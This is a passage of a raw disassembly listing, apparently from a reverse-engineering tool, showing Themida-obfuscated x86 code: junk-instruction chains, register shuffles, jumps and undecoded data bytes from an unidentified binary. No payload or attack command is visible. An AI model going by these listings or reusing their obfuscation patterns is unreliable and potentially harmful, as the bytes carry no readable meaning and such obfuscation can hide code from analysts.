671452F9h and ebx, 2C4D0778h inc ebx shl ebx, 6 dec ebx xor ebx, 1009E3Bh add eax, ebx jmp loc_550EC8 ; --------------------------------------------------------------------------- loc_556EE0: ; CODE XREF: Themida_:0054EE6Ej pop eax add eax, 4 jmp loc_5549E4 ; --------------------------------------------------------------------------- db 0BDh dd 70990827h, 6210D8BAh, 0B701E91Ch, 0CA010000h, 29FB68h dd 240C8900h, 2D08BA52h, 7BE91A29h, 8000006Ah, 0E92CB7EEh dd 9AE9D82Ch, 530000B7h, 0FFE31DE9h, 241CF7FFh, 6E9BE99Ch dd 0A4BBFFFFh, 894CE573h, 3CE95BDAh, 33FFFFDDh, 248B2404h dd 2434FF24h, 6DDD6858h, 2C890000h, 56E58924h, 0C6815E54h dd 4, 4EE81h, 34870000h, 0C895C24h, 4B924h, 0CD010000h dd 87E4E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556F6E: ; CODE XREF: Themida_:0055BA4Fj add ebx, ecx sub ebx, 2FD91D86h jmp loc_55EBB2 ; --------------------------------------------------------------------------- db 42h dd 3BF1C281h, 0D6296827h, 2434875Ah, 242C895Ch, 0FFFF5AE9h dd 7CC181FFh, 5E5DD040h, 0ABA7E9h, 0C3305B00h, 0FFA2C7E9h dd 0E9EE2CFFh, 1E87h ; --------------------------------------------------------------------------- loc_556FAC: ; CODE XREF: Themida_:0055A9E8j sub ecx, 3BF377B0h sub ecx, edi add ecx, 3BF377B0h pop edi xor ebx, ecx mov ecx, [esp] push esi mov esi, esp push ecx mov ecx, 40226741h sub ecx, 4022673Dh jmp loc_552E47 ; --------------------------------------------------------------------------- dd 4C481h, 0BF570000h, 4B0F7417h, 81DFF747h, 0F7417C7h dd 0F4FEE94Bh, 77FFFFFFh, 2434FF3Ch, 582434FFh, 0E7B68h dd 0E0EE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557002: ; CODE XREF: Themida_:0055C609j push esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi jmp loc_54EA6B ; --------------------------------------------------------------------------- loc_557019: ; CODE XREF: Themida_:0054F11Ej push 5E6Eh mov [esp], eax mov eax, esp add eax, 4 jmp loc_557CE0 ; --------------------------------------------------------------------------- db 52h, 0FFh, 74h dd 8F5A0424h, 685C2404h, 3BCDh, 0E9243C89h, 68CAh, 4C481h dd 0C870000h, 24248B24h, 0FF6D70E9h, 8F5935FFh, 0C381951Dh dd 76B56E2Eh, 0EB81C329h, 76B56E2Eh, 0FFFAFAE9h, 2749B9FFh dd 77E92171h, 8B000096h, 2682404h, 8900000Eh, 0EC832414h dd 24248904h, 4240483h, 4C2815Ah, 50000000h, 0FFC5F3E9h dd 240C87FFh, 6624248Bh, 9C243CD3h, 0FF6D1CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5570A9: ; CODE XREF: Themida_:0055292Dj mov [esp], eax push esi mov esi, 2F740CA7h mov eax, esi mov esi, [esp] add esp, 4 push ebp mov ebp, 249969F6h add dword ptr [esp+8], 697E3E9Bh add [esp+8], ebp jmp loc_562072 ; --------------------------------------------------------------------------- db 5Ch, 89h, 34h dd 5C4EBE24h, 4DE95717h, 5A000031h, 0F553E942h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5570E6: ; CODE XREF: Themida_:00554BCDj add esp, 4 xor edi, 5BD41542h push ebx mov ebx, 1B9A5556h jmp loc_552F3F ; --------------------------------------------------------------------------- loc_5570FD: ; CODE XREF: Themida_:00559908j sub ebx, 3645321Dh add ebx, edi add ebx, 3645321Dh push ebp mov ebp, 17037940h shr ebp, 6 add ebp, 7668389Ch add ebx, ebp pop ebp add dword ptr [ebx], 1 jmp loc_55A18C ; --------------------------------------------------------------------------- loc_557128: ; CODE XREF: Themida_:00557744j push 3091h mov [esp], edx mov edx, 6C2A7E69h push eax push 718F5283h jmp loc_562491 ; --------------------------------------------------------------------------- dd 8B2434FFh db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55D5F0 ; --------------------------------------------------------------------------- dd 4C781h, 0EF810000h, 4, 0B412E9h, 5C38100h, 0E9B5E67Ah dd 0FFFF7F5Ch ; --------------------------------------------------------------------------- loc_557170: ; CODE XREF: Themida_:005592B6j pop esp mov edx, 7ACB576Dh xor edx, ecx mov ecx, [esp] add esp, 4 jmp loc_551A19 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 5C240C87h, 8B24048Fh, 34FF2424h, 8E8BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55719E: ; CODE XREF: Themida_:00551A86j add eax, 4567301Ah add eax, 6C891336h jmp loc_55D193 ; --------------------------------------------------------------------------- db 81h, 0E9h, 16h dd 8106243Ch, 0C11CE8C9h, 9FFBE928h, 5466FFFFh, 24048F66h dd 0FFC539E9h db 0FFh ; --------------------------------------------------------------------------- loc_5571C9: ; CODE XREF: Themida_:0055FC7Aj add edx, 4 jmp loc_55305D ; --------------------------------------------------------------------------- dd 7995E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5571DA: ; CODE XREF: Themida_:005614E3j push ebx xchg ebx, [esp] jmp loc_54E587 ; --------------------------------------------------------------------------- loc_5571E3: ; CODE XREF: Themida_:0055F2CFj push 33E2h mov [esp], ebp mov ebp, 5BCE189Fh jmp loc_557CC4 ; --------------------------------------------------------------------------- loc_5571F5: ; CODE XREF: Themida_:005517D1j add edi, 22B03861h pop ebp pop esi and eax, edi pop edi jmp loc_556145 ; --------------------------------------------------------------------------- db 33h, 2Ch, 24h dd 33242C31h, 248B242Ch, 26685124h, 89000011h, 0CBE92424h dd 51FFFFD5h, 0C181E189h, 4, 4C181h, 0C870000h, 4335C24h dd 24043124h, 5C240433h, 0FFE87CE9h, 8BDE01FFh, 2CE9241Ch dd 5C000030h, 0FFC0A6E9h, 235C68FFh, 36E9500Dh, 50FFFFE1h dd 721B56B8h, 2AD52D0Dh, 0D8F7779Dh, 0D4F08505h, 96CBE995h dd 14890000h, 4EC8124h, 89000000h, 4832424h, 34FF0424h dd 89565A24h, 4BF57E6h, 1000000h, 243C8BFEh, 81E78957h dd 4C7h, 4C78300h, 4EC81h, 5FE90000h db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5572AB: ; CODE XREF: Themida_:00551333j xor esi, 18061DCFh sub esi, 0D3722587h add ecx, 5FCB659Eh sub ecx, esi sub ecx, 5FCB659Eh pop esi mov eax, [esp] add esp, 4 pop esi jmp loc_5522D3 ; --------------------------------------------------------------------------- aCUyCS db 'µc îYÀæ',7,'é¿~',0 align 2 dw 0C483h dd 2434FF04h, 4C4815Bh, 0E9000000h, 0FFFF6AD1h, 0CAE9028Fh db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5572FB: ; CODE XREF: Themida_:00554FD9j mov esi, 1AAA4335h add esi, 6A08141Dh dec esi sub esi, 0FFFFFFFFh neg esi add esi, 84B25756h jmp loc_550B5B ; --------------------------------------------------------------------------- a1Ysf7 db '1ÈYéä7',0 align 2 loc_557322: ; CODE XREF: Themida_:0055DF53j pop dx push eax push edx mov dl, 0B2h push ebx jmp loc_5615DA ; --------------------------------------------------------------------------- aISjl db '‰Ã醫',0 dd 24048900h, 5A55EEB8h, 5E8C107h, 0FF7021E9h db 0FFh ; --------------------------------------------------------------------------- loc_557345: ; CODE XREF: Themida_:0054F5C8j pop eax push ecx mov ecx, 28D70D45h xor ecx, 28D70D41h jmp loc_555E19 ; --------------------------------------------------------------------------- db 89h dd 0E2892414h, 4C281h, 4D680000h, 8900001Eh, 5A542414h dd 4C281h, 0B9510000h, 4, 8759CA29h, 248B2414h, 241C8924h dd 4BBh, 0FFDA2900h, 835B2434h, 17E904C4h, 5FFFFFA3h, 0FF88C6E9h dd 241C33FFh, 91B6E9h, 0E9535500h, 313Fh, 8304C483h, 0BE5604C4h dd 4, 0CD6C781h, 0F7016625h, 0CD6EF81h, 505E6625h, 413ED4B8h dd 0D6BE563Dh, 0E93D413Eh, 4545h ; --------------------------------------------------------------------------- loc_5573D8: ; CODE XREF: Themida_:0055088Bj pop esp mov [esp], ecx mov ecx, esp push eax push 4 mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp sub ecx, 1D380DE6h sub ecx, 27695C68h add ecx, eax push ebp mov ebp, 11E156D6h not ebp dec ebp sub ebp, 0C6B54CC0h add ecx, ebp pop ebp add ecx, 1D380DE6h mov eax, [esp] add esp, 4 sub ecx, 2 xor ecx, [esp] xor [esp], ecx jmp loc_55118C ; --------------------------------------------------------------------------- loc_55743D: ; CODE XREF: Themida_:0054ED48j shl edi, 2 jmp loc_558253 ; --------------------------------------------------------------------------- db 89h, 0E1h, 81h dd 4C1h, 4C18100h, 87000000h, 3DE9240Ch, 81000027h, 393AB7C9h dd 8E9C102h, 0FF8343E9h, 4C481FFh, 53000000h, 194BA52h dd 0E2813324h, 365C30BBh, 2016F281h, 0DAF76250h, 0E904EAC1h dd 0AD22h, 5C03685Ch, 2C890000h, 81E58924h, 4C5h, 9FE95000h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5574A3: ; CODE XREF: Themida_:0055995Bj add ebp, edi jmp loc_5625ED ; --------------------------------------------------------------------------- dw 0BF57h dd 81C44DB1h, 0FF7F73E9h, 242C87FFh, 8924248Bh, 0B951241Ch dd 3A84573h, 542FE956h, 0EB010000h, 4F83E9h, 0E9DBF700h dd 668Ch, 148BF488h, 4C48324h, 48BE788h, 4C48124h, 0FF000000h dd 0C8B2434h, 4C48124h, 0E9000000h, 6D84h, 0E904EC83h dd 86A6h, 5C243433h, 24148966h, 0FFCF0FE9h db 0FFh ; --------------------------------------------------------------------------- loc_557511: ; CODE XREF: Themida_:00559811j sub edi, 2AC0225Ah sub edi, 5BF011A2h xor edi, 20010278h add edi, 5686F9B8h jmp loc_54FB13 ; --------------------------------------------------------------------------- loc_55752E: ; CODE XREF: Themida_:005615C9j or edx, eax shl edx, 1 push eax jmp loc_55D97B ; --------------------------------------------------------------------------- dd 3324248Bh, 34312434h, 24343324h, 3024248Bh, 0E99C2404h dd 0FFFF6875h, 15DFE95Ah, 335F0000h, 34312434h, 24343324h dd 2404295Ch, 685BE99Ch, 8950FFFFh, 58C589F0h, 8124348Bh dd 4C4h, 5DEF2900h, 2474FF57h, 48F5F04h, 0DBCAE924h, 8B66FFFFh dd 5457240Ch, 5F2434FFh, 8104C483h, 4C7h, 0D3E3E900h, 0D789FFFFh dd 8324148Bh, 7C0104C4h, 33E90824h db 83h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5575B3: ; CODE XREF: Themida_:0055C23Aj sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ecx push 2749h mov [esp], ebp jmp loc_55E979 ; --------------------------------------------------------------------------- loc_5575CF: ; CODE XREF: Themida_:00551C68j push dword ptr [esp] jmp loc_54FDDB ; --------------------------------------------------------------------------- db 89h dd 0D67FE9E0h, 0AEBBFFFFh, 0F70AAE2Dh, 0A3C381DBh, 31D22F61h dd 0E9555BDEh, 1FD5h ; --------------------------------------------------------------------------- loc_5575F4: ; CODE XREF: Themida_:00559B93j pop esi jmp loc_55112C ; --------------------------------------------------------------------------- loc_5575FA: ; CODE XREF: Themida_:0055241Cj push esp pop ebx push esi mov esi, 430559C4h xor esi, 430559C0h add ebx, esi pop esi push edi mov edi, 3565510Ah or edi, 4BA72A91h shr edi, 2 jmp loc_55FA95 ; --------------------------------------------------------------------------- db 8Fh dd 4832404h, 48B0424h, 7C246824h, 0ABE90000h, 100001Bh dd 53525EF0h, 3F4468h, 24048900h, 0B25ED0B8h, 765BBB32h dd 0C32987C9h, 6ED0E9h db 0 ; --------------------------------------------------------------------------- loc_557651: ; CODE XREF: Themida_:0055C986j add esp, 4 jmp loc_55D792 ; --------------------------------------------------------------------------- loc_55765C: ; CODE XREF: Themida_:0054EA3Cj xor esi, 6DAA5AE4h neg esi jmp loc_560996 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0C5h dd 2BDC773Fh, 0ED81C501h, 2BDC773Fh, 70F8E9h, 0E9515200h dd 0FFFFF9E9h, 761DBB53h, 0D8290A35h, 0FFBEE5E9h, 243C8BFFh dd 81E68956h, 4C6h, 4C68100h, 87000000h, 0E95C2434h, 12ECh ; --------------------------------------------------------------------------- loc_5576AC: ; CODE XREF: Themida_:0055E6FAj pop eax pop ebx sub al, ch mov cx, [esp] push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 663F2EC0h dec ecx neg ecx jmp loc_55463A ; --------------------------------------------------------------------------- db 5 dd 0B407EAE3h, 0FF8414E9h, 145ABBFFh, 0D8297AC8h, 334C2D5Bh dd 0CCE97FA5h, 55FFFFB1h, 5944BD66h, 8EDC166h, 0A9F58166h dd 0EA096641h, 0C281665Dh, 0C166116Ch, 816607EAh, 666701C2h dd 148BD301h, 0D357E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557712: ; CODE XREF: Themida_:0054EB12j mov edx, 1CA61932h push ebx mov ebx, 230F022Ah push edi mov edi, 5D1D7A96h sub edx, edi pop edi sub edx, ebx add edx, 5D1D7A96h mov ebx, [esp] add esp, 4 push esi mov esi, esp push ecx push ebp mov ebp, 47EE6E7Bh jmp loc_55B716 ; --------------------------------------------------------------------------- loc_557743: ; CODE XREF: Themida_:00562084j push edi jmp loc_557128 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0D42E9h, 34EA8100h, 0E9D9B2AEh, 0FFFF7618h, 31241433h dd 14332414h, 6151E924h, 8B5F0000h, 0C4832434h, 0E9CF0104h dd 191Ah, 24043166h, 6643E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557782: ; CODE XREF: Themida_:0055F348j push esi jmp loc_55638C ; --------------------------------------------------------------------------- aXhci db 'XhcI',0 align 2 dw 1C89h aSv db '$é‚$',0 align 2 loc_557796: ; CODE XREF: Themida_:0055B75Dj add esi, 4F585BABh jmp loc_55F13E ; --------------------------------------------------------------------------- db 58h, 81h, 0C4h dd 4, 0EC81D2F6h, 4, 0E9240489h, 0FFFFF483h ; --------------------------------------------------------------------------- loc_5577B8: ; CODE XREF: Themida_:00556B4Cj add ecx, 4 xchg ecx, [esp] pop esp push eax sub esp, 4 mov [esp], esi pop eax mov esi, [esp] add esp, 4 push 3389h mov [esp], edi mov edi, 435D6764h jmp loc_5542FD ; --------------------------------------------------------------------------- db 0Ch dd 0B6523Ch, 10E9F000h, 81FFFFDEh, 2C3h, 74FF5300h, 0CCE90424h dd 0BE000039h, 76E40E8Bh, 66D7EE81h, 0C6815F4Dh, 0EC6188B3h dd 295EF501h, 0EA015DEAh, 3FCEC281h, 63E935E0h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55781F: ; CODE XREF: Themida_:00559485j sub ebx, ecx sub ebx, 26371EA3h jmp loc_5593FD ; --------------------------------------------------------------------------- dd 0F90EE95Ch, 0D3B8FFFFh, 0E919CD5Fh, 0FFFF7D2Dh, 5C241C87h dd 44BBBF57h, 0F801224Dh, 83243C8Bh, 0F80104C4h, 5C01BE56h dd 0C146259Bh, 575604EEh, 4FE4E95Eh, 24890000h, 24048124h dd 4, 8B2434FFh, 0C483243Ch, 48A46804h, 4890000h, 933AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557882: ; CODE XREF: Themida_:0054E5CFj xor eax, ebx pop ebx sub ebp, eax pop eax and eax, ebp push dword ptr [esp] pop ebp add esp, 4 shr eax, 0Bh xor ecx, eax push 2B6Ch mov [esp], ecx push esp mov ecx, [esp] push esi push 3923h mov [esp], esp jmp loc_55DE66 ; --------------------------------------------------------------------------- loc_5578B3: ; CODE XREF: Themida_:00554C58j sub esp, 4 mov [esp], esi mov esi, 42141DC5h neg esi neg esi jmp loc_5613B8 ; --------------------------------------------------------------------------- db 68h dd 7BD2h, 54241489h, 4C2815Ah, 68000000h, 2115h, 0FFEE92E9h dd 242C89FFh, 8469E9h, 40478F00h, 0FF64D4E9h, 0EE815BFFh dd 78725E4h, 11ECEE81h, 0C6010B1Ah, 8310E9h, 3CC56800h dd 14890000h, 2E98BA24h, 54E9487Dh, 68FFFFA7h, 671DF9DEh dd 92EA8159h, 177E251h, 92C281CAh, 5977E251h, 148BD389h dd 4C48324h, 1C8BDA01h, 0E1895124h, 4BF57h, 0F9010000h dd 4C1815Fh, 51000000h, 42474FFh, 24048F59h, 74FF525Ch dd 148B0424h, 4C48324h, 0FF9AE6E9h db 0FFh ; --------------------------------------------------------------------------- loc_557965: ; CODE XREF: Themida_:00561531j mov ebx, esi pop esi jmp loc_55B093 ; --------------------------------------------------------------------------- loc_55796D: ; CODE XREF: Themida_:0055A0E0j or ecx, ebp pop ebp push 9E9h mov [esp], ebx mov ebx, 1DF5116Eh sub esp, 4 mov [esp], ebx jmp loc_558A37 ; --------------------------------------------------------------------------- aSGh db 'S³GhÅ',0Dh,0 align 10h dd 0E9241C89h, 0FFFFE7EBh, 15AD189h, 5904244Ch, 468505Bh dd 8B000000h, 0C4832404h, 7707E904h, 4BBFFFFh, 1000000h dd 0C7835BDFh, 0BF8CE904h, 4BBFFFFh, 1000000h, 0E904245Ch dd 162Fh ; --------------------------------------------------------------------------- loc_5579D0: ; CODE XREF: Themida_:00552218j push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi push ebx push edx mov edx, 3CD94008h mov ebx, edx pop edx neg ebx and ebx, 2F427331h shl ebx, 3 push edx mov edx, 5535465h or ebx, edx pop edx add ebx, 0E2AC221Fh jmp loc_554D8F ; --------------------------------------------------------------------------- dd 4246C01h, 5D2434FFh, 8B04C483h, 89512414h, 4C181E1h dd 83000000h, 2CE904C1h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557A37: ; CODE XREF: Themida_:00558422j pop eax push ecx mov ecx, esp jmp loc_55267A ; --------------------------------------------------------------------------- dd 51C8BF0Fh, 0BE56E189h, 4, 0CD9E9h, 0B9C28100h, 0E94D903Ch dd 0FFFF6369h ; --------------------------------------------------------------------------- loc_557A5C: ; CODE XREF: Themida_:0054E413j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push esi mov esi, 4 sub eax, esi pop esi xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_5592F9 ; --------------------------------------------------------------------------- loc_557A83: ; CODE XREF: Themida_:0055C05Fj sub ebp, 48E54E14h sub ebp, 41C442FDh pop ebx jmp loc_560FF7 ; --------------------------------------------------------------------------- aYhd9 db 'YhD9',0 dw 8900h dd 0DD68241Ch, 8900006Dh, 4812424h, 424h, 9392E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557AB2: ; CODE XREF: Themida_:005596CCj add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54EE2D ; --------------------------------------------------------------------------- dw 0C781h dd 4, 4BB53h, 0DF010000h, 0A109E95Bh, 0E950FFFFh, 0FFFF6576h ; --------------------------------------------------------------------------- loc_557AD8: ; CODE XREF: Themida_:0055BDA2j add edx, 4 push ebp mov ebp, 5EB147C5h xor ebp, 576300B7h add ebp, 0F62DB892h sub edx, ebp pop ebp xchg edx, [esp] mov esp, [esp] mov [esp], edi mov edi, 4 jmp loc_55F7C8 ; --------------------------------------------------------------------------- loc_557B06: ; CODE XREF: Themida_:0056171Cj add ebp, eax pop eax sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], eax jmp loc_55381B ; --------------------------------------------------------------------------- db 80h, 0C2h, 0D4h dd 8B13E950h, 38050000h, 1674B5Ah, 0FEE957E8h, 68FFFF91h dd 387h, 0FF240489h, 34FF2434h, 1C07E924h, 34FF0000h, 0C4835824h dd 24048F04h, 6624248Bh, 2404B30Fh, 6267E99Ch, 0F681FFFFh dd 63150206h, 0B4A7C681h, 0EA81AC7Bh, 2FB001B4h, 0C281F201h dd 2FB001B4h, 10B8505Eh, 35370571h, 37057114h, 8758C201h dd 295C2414h, 68042454h, 7BE1h, 0E9243489h, 2382h, 79B95159h dd 0E96AAA2Eh, 95BFh ; --------------------------------------------------------------------------- loc_557BA8: ; CODE XREF: Themida_:00560895j add dword ptr [esp+4], 17150733h add [esp+4], edi sub dword ptr [esp+4], 17150733h jmp loc_55991D ; --------------------------------------------------------------------------- db 81h, 44h, 24h dd 73042604h, 4815D25h, 427AD424h, 24040153h, 7AD4BB53h dd 5C295342h, 685B0424h, 2B85h, 0BA241489h, 108C2637h dd 4244481h, 5B9A2569h, 0C0A68h, 24148900h, 0A97111BAh dd 9485E960h, 5346FFFFh, 0FFF9D1E9h db 0FFh ; --------------------------------------------------------------------------- loc_557C0D: ; CODE XREF: Themida_:00560DE0j mov esi, 4 add ebx, 1F9B3644h sub ebx, 5F070B0Dh jmp loc_560808 ; --------------------------------------------------------------------------- db 52h dd 2C8E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557C2A: ; CODE XREF: Themida_:0055AFAAj add esi, 539B0D64h jmp loc_556C5D ; --------------------------------------------------------------------------- db 81h, 0EBh, 93h dd 0E9407E13h, 0FFFFD426h ; --------------------------------------------------------------------------- loc_557C40: ; CODE XREF: Themida_:0054E44Bj add [esp+4], ebx pop ebx mov esi, [esp] add esp, 4 sub esi, 68330F44h mov eax, esi mov esi, [esp] add esp, 4 pop edx sub [edi+24h], eax mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp loc_557C76: ; CODE XREF: Themida_:00554F7Aj push 6D5Ah mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_55BD12 ; --------------------------------------------------------------------------- loc_557C8E: ; CODE XREF: Themida_:0054E3D9j add ebp, 612F2F00h pop edi xchg ebp, [esp] jmp loc_554665 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 68000000h, 2778h, 0FF241489h, 0FF042474h, 505A2434h dd 0A0E9E089h db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557CBB: ; CODE XREF: Themida_:00550C86j add al, ch add al, 0A1h jmp loc_55A23A ; --------------------------------------------------------------------------- loc_557CC4: ; CODE XREF: Themida_:005571F0j push edi mov edi, 0E420A79h not edi jmp loc_54DED3 ; --------------------------------------------------------------------------- loc_557CD1: ; CODE XREF: Themida_:0056292Dj push dword ptr [esp+4] push dword ptr [esp] mov ecx, [esp] jmp loc_55C252 ; --------------------------------------------------------------------------- loc_557CE0: ; CODE XREF: Themida_:00557028j push edi push 4 pop edi jmp loc_556008 ; --------------------------------------------------------------------------- dd 22E9E589h, 87FFFFE8h, 335C2414h, 2C31242Ch, 242C3324h dd 5324248Bh, 0C381E389h, 4, 5304EB83h, 9FCDE9h, 0D9CB8100h dd 0E9165D17h, 0FFFFCD56h, 0C0FE3CB0h, 4624D8F6h, 3404E634h dd 0B32E9h, 48F5900h, 69ACE924h, 0FF66FFFFh, 6083E932h dd 248BFFFFh, 6BD76824h, 4890000h, 43CC6824h, 24890000h dd 24048324h, 2434FF04h, 0FFE048E9h, 0DCF65AFFh, 0F6B75366h dd 68C480h, 68EC80FCh, 0F4805B66h, 4EC812Ch, 89000000h dd 0E2882414h, 8B5AD788h, 94E92404h, 8900006Eh, 2434FFF0h dd 7DB6E9h, 0D831AD00h, 2FE568h, 0E0FE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557DA2: ; CODE XREF: Themida_:00554ADDj mov esi, 6E5767B7h shr esi, 4 xor esi, 6E5767Fh add ecx, esi pop esi jmp loc_54FC4D ; --------------------------------------------------------------------------- dd 503E8C1h, 6E7DED87h, 8158C189h, 837553C9h, 5E1814Eh dd 5301E57Fh, 5F1A4568h, 0EB815B74h, 5818EBFFh, 815BD909h dd 506A04C1h, 2AC78105h, 297D254Ah, 2AEF81CFh, 0E97D254Ah dd 64DCh, 23056B05h, 58C689B8h, 0FFEF09E9h, 4EC83FFh, 0E9241489h dd 47D3h, 89240C89h, 94E952E1h db 83h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557E1B: ; CODE XREF: Themida_:0055FF5Cj sub ebx, 145E0A65h sub ebx, 1 jmp loc_54F462 ; --------------------------------------------------------------------------- dd 8B66C200h, 0C4812404h, 2, 0DBEB80h, 1411E9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557E42: ; CODE XREF: Themida_:00554C3Aj push ebp jmp loc_5553EE ; --------------------------------------------------------------------------- dd 2434FF54h, 0E924148Bh, 0FFFFEC1Fh, 8704C583h, 815C242Ch dd 4C4h, 8BF83100h, 8951243Ch, 4C181E1h, 81000000h, 4C1h dd 0CE25E900h, 1FBFFFFFh, 8941C45Ch, 2434FFFAh, 9883E9h db 0 ; --------------------------------------------------------------------------- loc_557E89: ; CODE XREF: Themida_:00558690j add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_551882 ; --------------------------------------------------------------------------- loc_557E9D: ; CODE XREF: Themida_:00557FF9j xor eax, ebp pop ebp push eax pop ebp pop eax add ebp, 0FFFFFFFFh jmp loc_55D377 ; --------------------------------------------------------------------------- loc_557EAB: ; CODE XREF: Themida_:0055BCE9j sub esp, 4 mov [esp], ebx jmp loc_560D69 ; --------------------------------------------------------------------------- loc_557EB9: ; CODE XREF: Themida_:005596F5j pop ebx jmp loc_556444 ; --------------------------------------------------------------------------- db 81h dd 42404h, 815F0000h, 4C7h, 4C78100h, 33000000h, 0E9E9243Ch dd 59FFFF7Ch, 4EC81h, 7CE90000h, 81FFFFBAh, 902F37C5h dd 7594E95Bh, 515A0000h, 70C7B850h, 480558B2h, 57CE260h dd 21647DC6h, 6B12F05h, 58C18909h, 8FE9CA01h, 51FFFF9Ch dd 0E464BBB9h, 0BFF18142h, 8942E464h, 99E959C8h, 6600004Ch dd 57241C8Bh, 0C7815F54h, 4, 2C781h, 3C870000h, 0E9805C24h dd 76E9804Fh, 0EC81C128h, 4, 2F40E9h db 0 ; --------------------------------------------------------------------------- loc_557F51: ; CODE XREF: Themida_:0054E597j xor edx, [esp] mov esp, [esp] shr eax, 0Eh jmp loc_54ED53 ; --------------------------------------------------------------------------- db 2Dh dd 25B683Eh, 12Dh, 0FE4AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557F6E: ; CODE XREF: Themida_:00551F15j sub ebx, (offset aDaf+2) sub eax, ebx push dword ptr [esp] pop ebx sub esp, 4 mov [esp], ebx push esp pop ebx jmp loc_555A96 ; --------------------------------------------------------------------------- db 81h dd 9D3BC5C2h, 7CC28149h, 2928D64Bh, 7CEA81F2h, 0E928D64Bh dd 140Eh, 0D37A52B8h, 0C5BD5543h, 0E90A7777h, 0FFFFD769h ; --------------------------------------------------------------------------- loc_557FB0: ; CODE XREF: Themida_:005597E3j push 1B963D3Dh pop eax jmp loc_555D74 ; --------------------------------------------------------------------------- loc_557FBB: ; CODE XREF: Themida_:0055A3A5j sub edi, 79E7DCC2h add ebx, edi pop edi push 3A77h mov [esp], ebp mov ebp, ebx mov esi, ebp pop ebp pop ebx and eax, esi jmp loc_5620A9 ; --------------------------------------------------------------------------- loc_557FD9: ; CODE XREF: Themida_:00551498j push dword ptr [esp] push dword ptr [esp] jmp loc_55893B ; --------------------------------------------------------------------------- dd 0E987D5F7h, 0FFEB8BE9h db 0FFh ; --------------------------------------------------------------------------- loc_557FED: ; CODE XREF: Themida_:00562345j xor ebp, 39E70A6h mov ecx, [esp] add esp, 4 jmp loc_557E9D ; --------------------------------------------------------------------------- loc_557FFE: ; CODE XREF: Themida_:00558E2Ej push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] or edx, eax shl edx, 1 sub esp, 4 mov [esp], ebx sub esp, 4 jmp loc_55A364 ; --------------------------------------------------------------------------- db 87h dd 835C2404h, 0EC8104C4h, 4, 0FFC001E9h, 5DEB29FFh, 5C241C87h dd 240C8966h, 0EA884DB5h, 240C8B66h, 4B6DE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558046: ; CODE XREF: Themida_:0055AE09j sub esp, 4 mov [esp], edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] jmp loc_555CF8 ; --------------------------------------------------------------------------- loc_558064: ; CODE XREF: Themida_:0055408Dj push edi mov edi, esp jmp loc_55634F ; --------------------------------------------------------------------------- loc_55806C: ; CODE XREF: Themida_:005543B8j push ecx push esi mov esi, 0A873897h jmp loc_55D2CC ; --------------------------------------------------------------------------- loc_558078: ; CODE XREF: Themida_:00553742j push dword ptr [esp] pop ebp add esp, 4 pop ebx add ebx, 4 push 4719h mov [esp], ebp push ebx push 53F479E6h pop ebx xor ebx, 2AC2A05h push eax jmp loc_561420 ; --------------------------------------------------------------------------- loc_5580A4: ; CODE XREF: Themida_:00556402j pop edx add edx, 4 push ebp jmp loc_5565D1 ; --------------------------------------------------------------------------- loc_5580B1: ; CODE XREF: Themida_:00560B4Aj xor edx, 7D7B0F37h shr edx, 6 neg edx sub edx, 1 jmp loc_54E689 ; --------------------------------------------------------------------------- dd 0E7C1D7F7h, 9B47E907h, 483FFFFh, 48F0424h, 24048124h dd 4, 5D2434FFh, 6071E9h, 58C78800h, 75E9535Ah, 0FE00004Dh dd 0C1B252C5h, 8079B753h, 0EFC045F7h, 6EF8003h, 0FE20B753h dd 63C780C7h, 0DFF6DFF6h, 0E9CEEF80h, 0A150h, 140CB5B9h dd 0E9CF2912h, 6D41h, 0E8386ABFh, 94B6863h, 2C890000h dd 52FDBD24h, 0EDC1682Dh, 70F58104h, 8172BE22h, 36E155F5h dd 5DEF3124h, 0E781DFF7h, 56071EFEh, 0B850EFD1h, 7D396BAFh dd 